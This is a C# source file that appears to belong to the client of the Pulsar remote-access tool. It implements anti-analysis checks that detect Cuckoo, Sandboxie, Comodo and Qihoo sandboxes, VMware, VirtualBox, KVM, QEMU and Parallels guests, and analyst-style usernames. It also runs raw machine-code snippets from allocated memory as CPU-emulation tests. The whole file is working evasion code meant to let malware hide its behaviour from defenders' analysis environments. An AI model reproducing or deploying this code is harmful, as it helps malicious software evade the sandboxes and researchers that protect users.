using System; using System.IO; using System.Threading; using System.Management; using System.Diagnostics; using System.Linq; using System.Runtime.InteropServices; using Microsoft.Win32; using Pulsar.Client.Anti.Helper; using static Pulsar.Client.Anti.Helper.Delegates; namespace Pulsar.Client.Anti.VM { public class AntiVirtualization { #region WinApi [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Unicode)] private static extern void RtlInitUnicodeString(out Structs.UNICODE_STRING DestinationString, string SourceString); [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)] private static extern void RtlUnicodeStringToAnsiString(out Structs.ANSI_STRING DestinationString, Structs.UNICODE_STRING UnicodeString, bool AllocateDestinationString); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint LdrGetDllHandleEx(ulong Flags, [MarshalAs(UnmanagedType.LPWStr)] string DllPath, [MarshalAs(UnmanagedType.LPWStr)] string DllCharacteristics, Structs.UNICODE_STRING LibraryName, ref IntPtr DllHandle); [DllImport("kernelbase.dll", SetLastError = true)] private static extern IntPtr GetModuleHandleA(string Library); [DllImport("ntdll.dll", SetLastError = true, CharSet = CharSet.Ansi)] private static extern uint LdrGetProcedureAddressForCaller(IntPtr Module, Structs.ANSI_STRING ProcedureName, ushort ProcedureNumber, out IntPtr FunctionHandle, ulong Flags, IntPtr CallBack); [DllImport("kernelbase.dll", SetLastError = true)] private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes); [DllImport("kernelbase.dll", SetLastError = true)] private static extern bool IsProcessCritical(SafeHandle hProcess, ref bool BoolToCheck); [DllImport("ucrtbase.dll", SetLastError = true)] private static extern IntPtr fopen(string filename, string mode); [DllImport("ucrtbase.dll", SetLastError = true)] private static extern int fclose(IntPtr filestream); #endregion /// /// Checks if Sandboxie is present on the system. /// /// True if Sandboxie is detected, otherwise false. public static bool IsSandboxiePresent() { if (Utils.LowLevelGetModuleHandle("SbieDll.dll").ToInt32() != 0) return true; return false; } /// /// Checks if Comodo Sandbox is present on the system. /// /// True if Comodo Sandbox is detected, otherwise false. public static bool IsComodoSandboxPresent() { if (Utils.LowLevelGetModuleHandle("cmdvrt32.dll").ToInt32() != 0 || Utils.LowLevelGetModuleHandle("cmdvrt64.dll").ToInt32() != 0) return true; return false; } /// /// Checks if Qihoo 360 Sandbox is present on the system. /// /// True if Qihoo 360 Sandbox is detected, otherwise false. public static bool IsQihoo360SandboxPresent() { if (Utils.LowLevelGetModuleHandle("SxIn.dll").ToInt32() != 0) return true; return false; } /// /// Checks if Cuckoo Sandbox is present on the system. /// /// True if Cuckoo Sandbox is detected, otherwise false. public static bool IsCuckooSandboxPresent() { if (Utils.LowLevelGetModuleHandle("cuckoomon.dll").ToInt32() != 0) return true; return false; } /// /// Checks if the environment is running in VMware or VirtualBox. /// /// True if VMware or VirtualBox is detected, otherwise false. public static bool CheckForVMwareAndVirtualBox() { try { // Check registry for VM indicators (more reliable than WMI) using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DESCRIPTION\System\BIOS")) { if (key != null) { var biosVersion = key.GetValue("BIOSVersion")?.ToString(); var systemManufacturer = key.GetValue("SystemManufacturer")?.ToString(); var systemProductName = key.GetValue("SystemProductName")?.ToString(); if (biosVersion != null && (biosVersion.Contains("VMware") || biosVersion.Contains("VirtualBox") || biosVersion.Contains("VBOX"))) return true; if (systemManufacturer != null && (systemManufacturer.Contains("VMware") || systemManufacturer.Contains("innotek"))) return true; if (systemProductName != null && (systemProductName.Contains("VMware") || systemProductName.Contains("VirtualBox"))) return true; } } // Check for VMware tools registry using (var vmwareKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\VMware, Inc.\VMware Tools")) { if (vmwareKey != null) return true; } // Check for VirtualBox registry using (var vboxKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Oracle\VirtualBox Guest Additions")) { if (vboxKey != null) return true; } } catch { // Registry access failed, assume not VM } // Fallback to WMI if registry checks fail try { using (ManagementObjectSearcher ObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem")) { using (ManagementObjectCollection ObjectItems = ObjectSearcher.Get()) { foreach (ManagementBaseObject Item in ObjectItems) { string ManufacturerString = Item["Manufacturer"].ToString().ToLower(); string ModelName = Item["Model"].ToString(); if ((ManufacturerString == "microsoft corporation" && Utils.Contains(ModelName.ToUpperInvariant(), "VIRTUAL") || Utils.Contains(ManufacturerString, "vmware"))) { return true; } } } } } catch { // WMI not available, assume not VM } return false; } /// /// Checks if the environment is running in KVM. /// /// True if KVM is detected, otherwise false. public static bool CheckForKVM() { string[] BadDriversList = { "balloon.sys", "netkvm.sys", "vioinput", "viofs.sys", "vioser.sys" }; string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers"); foreach (string driver in Directory.GetFiles(driversPath, "*")) { foreach (string badDriver in BadDriversList) { if (Path.GetFileName(driver).IndexOf(badDriver, StringComparison.OrdinalIgnoreCase) >= 0) { return true; } } } return false; } /// /// Checks if the current user name matches any blacklisted names. /// /// True if a blacklisted name is detected, otherwise false. public static bool CheckForBlacklistedNames() { string[] BadNames = { "Johnson", "Miller", "malware", "maltest", "CurrentUser", "Sandbox", "virus", "John Doe", "test user", "sand box", "WDAGUtilityAccount" }; string Username = Environment.UserName.ToLower(); foreach (string BadUsernames in BadNames) { if (Username == BadUsernames.ToLower()) { return true; } } return false; } /// /// Detects bad VM-related files and directories on the system. /// /// True if bad VM-related files or directories are detected, otherwise false. public static bool BadVMFilesDetection() { try { string[] badFiles = { "balloon.sys", "VBoxMouse.sys", "netkvm.sys", "VBoxGuest.sys", "VBoxSF.sys", "VBoxVideo.sys", "vmmouse.sys"}; string[] badDirs = { @"C:\Program Files\VMware", @"C:\Program Files\Oracle\VirtualBox Guest Additions" }; string driversPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers"); foreach (string file in Directory.GetFiles(driversPath)) { if (badFiles.Any(badFile => Path.GetFileName(file).Equals(badFile, StringComparison.OrdinalIgnoreCase))) return true; } return badDirs.Any(dir => Directory.Exists(dir)); } catch { return false; } } /// /// Checks for the presence of bad VM-related process names. /// /// True if bad VM-related process names are detected, otherwise false. public static bool BadVMProcessNames() { try { string[] BadProcessNames = { "vboxservice", "VGAuthService", "vmusrvc", "qemu-ga" }; foreach (Process Processes in Process.GetProcesses()) { foreach (string BadProcessName in BadProcessNames) { if (Processes.ProcessName == BadProcessName) { return true; } } } } catch { } return false; } /// /// Checks for VM-related device names. /// /// True if VM-related device names are detected, otherwise false. public static bool CheckDevices() { string[] Devices = { "\\\\.\\pipe\\cuckoo", "\\\\.\\HGFS", "\\\\.\\vmci", "\\\\.\\VBoxMiniRdrDN", "\\\\.\\VBoxGuest", "\\\\.\\pipe\\VBoxMiniRdDN", "\\\\.\\VBoxTrayIPC", "\\\\.\\pipe\\VBoxTrayIPC" }; foreach (string Device in Devices) { try { IntPtr File = fopen(Device, "r"); if (File != IntPtr.Zero) { fclose(File); return true; } } catch { continue; } } return false; } /// /// Checks if the environment is running in Parallels. /// /// True if Parallels is detected, otherwise false. public static bool CheckForParallels() { string[] BadDriversList = { "prl_sf", "prl_tg", "prl_eth" }; foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*")) { foreach (string BadDrivers in BadDriversList) { if (Utils.Contains(Drivers, BadDrivers)) { return true; } } } return false; } /// /// Checks for specific disk drive models that indicate a virtual environment. /// /// True if specific disk drive models are detected, otherwise false. public static bool TriageCheck() { try { // Check registry for disk information (more reliable than WMI) using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"HARDWARE\DEVICEMAP\Scsi")) { if (key != null) { foreach (var subKeyName in key.GetSubKeyNames()) { using (var subKey = key.OpenSubKey(subKeyName)) { if (subKey != null) { foreach (var portKeyName in subKey.GetSubKeyNames()) { using (var portKey = subKey.OpenSubKey(portKeyName)) { if (portKey != null) { var identifier = portKey.GetValue("Identifier")?.ToString(); if (!string.IsNullOrEmpty(identifier) && (identifier.Contains("DADY HARDDISK") || identifier.Contains("QEMU HARDDISK"))) { return true; } } } } } } } } } } catch { // Registry access failed, assume not VM } // Fallback to WMI if registry checks fail try { using (var searcher = new ManagementObjectSearcher("SELECT * FROM Win32_DiskDrive")) { foreach (var item in searcher.Get()) { string model = item["Model"].ToString(); if (Utils.Contains(model, "DADY HARDDISK") || Utils.Contains(model, "QEMU HARDDISK")) { return true; } } } } catch { // WMI not available, assume not VM } return false; } /// /// Checks for specific Machine GUIDs that indicate a virtual environment in Any.Run. /// /// True if specific Machine GUIDs are detected, otherwise false. public static bool AnyRunCheck() { return false; } /// /// Checks if the environment is running in QEMU. /// /// True if QEMU is detected, otherwise false. public static bool CheckForQemu() { string[] BadDriversList = { "qemu-ga", "qemuwmi" }; foreach (string Drivers in Directory.GetFiles(Environment.GetFolderPath(Environment.SpecialFolder.System), "*")) { foreach (string BadDrivers in BadDriversList) { if (Utils.Contains(Drivers, BadDrivers)) { return true; } } } return false; } public sealed class Generic { /// /// Checks for VM-related ports on the system. /// /// True if no port connectors are found, indicating a possible VM environment, otherwise false. public static bool PortConnectionAntiVM() { try { if (new ManagementObjectSearcher("SELECT * FROM Win32_PortConnector").Get().Count == 0) return true; } catch { // WMI not available, assume ports exist } return false; } /// /// Checks if the environment is running in an emulation by measuring the sleep interval. /// /// True if emulation is detected, otherwise false. public static bool EmulationTimingCheck() { long Tick = Environment.TickCount; Thread.Sleep(500); long Tick2 = Environment.TickCount; if (((Tick2 - Tick) < 500L)) { return true; } return false; } /// /// Checks if the AVX instructions is properly implemented and handled. /// /// true if the instructions is not handled correctly, otherwise false. public static bool AVXInstructions() { try { bool ResultBool = false; byte[] Code = new byte[80]; if (IntPtr.Size == 8) Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x75, 0x31, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x75, 0x29, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x75, 0x16, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x44, 0x0f, 0x28, 0xc0, 0x66, 0x45, 0x0f, 0x5b, 0xc0, 0x75, 0x06, 0x74, 0x00, 0x48, 0x31, 0xc0, 0xc3, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0xc3 }; else Code = new byte[] { 0x66, 0x0f, 0x5b, 0xe4, 0x66, 0x0f, 0x7e, 0xe0, 0x74, 0x00, 0x66, 0x0f, 0x5b, 0xed, 0x66, 0x0f, 0x7e, 0xeb, 0x74, 0x00, 0x0f, 0x28, 0xf0, 0x66, 0x0f, 0x70, 0xf1, 0xd8, 0x0f, 0x28, 0xfe, 0x66, 0x0f, 0x5b, 0xff, 0x66, 0x0f, 0x7e, 0xf9, 0x74, 0x00, 0x0f, 0x57, 0xc0, 0x75, 0x05, 0x74, 0x00, 0x31, 0xc0, 0xc3, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xc3 }; IntPtr Allocated = Utils.AllocateCode(Code); if (Allocated != IntPtr.Zero) { try { GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt)); int Result = Execute(); if (Result == 1) { Utils.FreeCode(Allocated); ResultBool = true; } } catch { Utils.FreeCode(Allocated); return false; } Utils.FreeCode(Allocated); return ResultBool; } return false; } catch { return false; } } /// /// Checks if the RDRAND instruction is properly implemented. /// /// true if the instruction is implemented correctly, otherwise false. public static bool RDRANDInstruction() { try { bool ResultBool = false; byte[] Code = new byte[80]; if (IntPtr.Size == 8) Code = new byte[] { 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC3, 0x48, 0x83, 0xFB, 0x00, 0x74, 0x0F, 0x48, 0x0F, 0xC7, 0xF0, 0x48, 0x89, 0xC2, 0x48, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 }; else Code = new byte[] { 0x0F, 0xC7, 0xF0, 0x89, 0xC3, 0x83, 0xFB, 0x00, 0x74, 0x0C, 0x0F, 0xC7, 0xF0, 0x89, 0xC2, 0x39, 0xDA, 0x74, 0x03, 0xB0, 0x00, 0xC3, 0xB0, 0x01, 0xC3 }; IntPtr Allocated = Utils.AllocateCode(Code); if (Allocated != IntPtr.Zero) { try { GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt)); int Result = Execute(); if (Result == 1) { ResultBool = true; } } catch { Utils.FreeCode(Allocated); return false; } Utils.FreeCode(Allocated); return ResultBool; } return false; } catch { return false; } } /// /// Checks if the instructions that control the register flags is properly handling the register. /// /// true if everything is going correctly, otherwise false. public static bool FlagsManipulationInstructions() { try { bool ResultBool = false; byte[] Code = new byte[80]; if (IntPtr.Size == 8) Code = new byte[] { 0x9C, 0x58, 0x48, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0x48, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x08, 0x48, 0xC7, 0xC0, 0x00, 0x00, 0x00, 0x00, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 }; else Code = new byte[] { 0x9C, 0x58, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x50, 0x9D, 0x9C, 0x58, 0xA9, 0x00, 0x02, 0x00, 0x00, 0x74, 0x06, 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 }; IntPtr Allocated = Utils.AllocateCode(Code); if (Allocated != IntPtr.Zero) { try { GenericInt Execute = (GenericInt)Marshal.GetDelegateForFunctionPointer(Allocated, typeof(GenericInt)); int Result = Execute(); if (Result == 1) { ResultBool = true; } } catch { Utils.FreeCode(Allocated); return false; } Utils.FreeCode(Allocated); return ResultBool; } return false; } catch { return false; } } } } }